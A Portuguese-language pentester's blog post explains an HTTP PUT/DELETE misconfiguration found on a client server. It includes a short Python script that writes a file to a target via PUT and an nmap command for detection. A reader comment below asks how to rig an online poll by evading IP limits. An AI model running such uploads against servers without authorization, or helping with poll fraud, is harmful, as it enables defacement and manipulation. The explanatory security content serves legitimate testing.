Bom, o motivo de postar hoje é uma vul que peguei em um cliente hoje.
O titulo já diz o nome da vul, pelo menos é o que o Nessus me trouxe como nome dela, eu achei interessante a falha pq sinceramente, nunca peguei essa falha realmente vul a não ser em LAB, ai como peguei ela hoje eu resolvi escrever um pouco sobre ela.
O que acontece é que está habilitado no servidor web os métodos PUT e DELETE, pra quem não conhece, vou explicar melhor.
PUT:
O método PUT faz uma requisição no servidor web que realiza uma criação de um arquivo remoto, caso já exista, ele é modificado.
DELETE:
Delete o recurso solicitado.
OPTIONS:
Retorna os métodos HTTP que o servidor suporta para a URL especificada.
Bom, sabendo sobre esses 3 métodos já da pra entender como funciona a falha, de grosso modo, eu faço uma requisição OPTIONS e vejo o que está habilitado no servidor como na imagem abaixo:
O que eu fiz ai foi, usar o netcat pra mandar uma solicitação de OPTIONS e ver o que está permitido(Allow) no meu server, veja que no meu apache está apenas OPTIONS, GET, HEAD e POST.
No caso do cliente, estava habilitado o método PUT e DELETE, permitindo eu inserir um arquivo e deletar.
Então eu procurei alguns artigos que mostravam como fazia manualmente o insert, no final do artigo eu vou colocar as fontes de pesquisa que me ajudaram na falha.
Mas por preguiça de fazer manual nos servers que encontrei a falha eu fiz um script que facilita a minha vida, vou postar ele aqui em baixo:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# UnkL4b - l33t0s | |
# http://unk-br.blogspot.com | |
import requests,sys | |
host = sys.argv[1] | |
# Crie antes um arquivo com um conteudo | |
# html para fazer o upload | |
arquivo = 'vul.htm' | |
url = 'http://%s/vul.htm' % host | |
with open(arquivo) as arq: | |
Senddata = arq.read() | |
head = {'Accept-Language':'pt-br;q=0.5',\ | |
'Content-Length':'153',\ | |
'Host':host} | |
r = requests.put(url,data=Senddata, headers=head, params={'file': arquivo}) | |
if '201' in str(r.status_code): | |
print("Arquivo Criado com Sucesso!!!\nVisite: %s" % url) | |
else: | |
print(r.text) | |
print(r.status_code) |
No script, é preciso criar um arquivo vul.htm antes, assim ele faz o upload, mas se quiser, pode melhorar o script, ele é livre.
Bom, basicamente é isso galera, uma outra dica, tem um comando no nmap que ajuda da identificação dessa falha:
nmap --script=http-methods.nse --script-args http-methods.retest=1 127.0.0.1
Obvio, troque o ip de loopback para o ip ou o range que vai testar.
Em um pentest isso pode ser crucial para conseguir uma vul.
É isso galera, tks....e estou de volta no role ;)
[Referencias]
http://pt.stackoverflow.com/questions/9419/quais-s%C3%A3o-os-m%C3%A9todos-de-requisi%C3%A7%C3%A3o-http-e-qual-%C3%A9-a-diferen%C3%A7a-entre-eles
https://tools.ietf.org/html/rfc7231
https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006)
http://httpsecure.org/?works=how-to-exploit-http-methods-put-and-delete
Bom dia,
ResponderExcluirComo fazer pra burlar votação sobre o ip deixando automatico
http://muitogospel.com.br/contato/revelacao-gospel-2015/ nesse site
agradeço desde já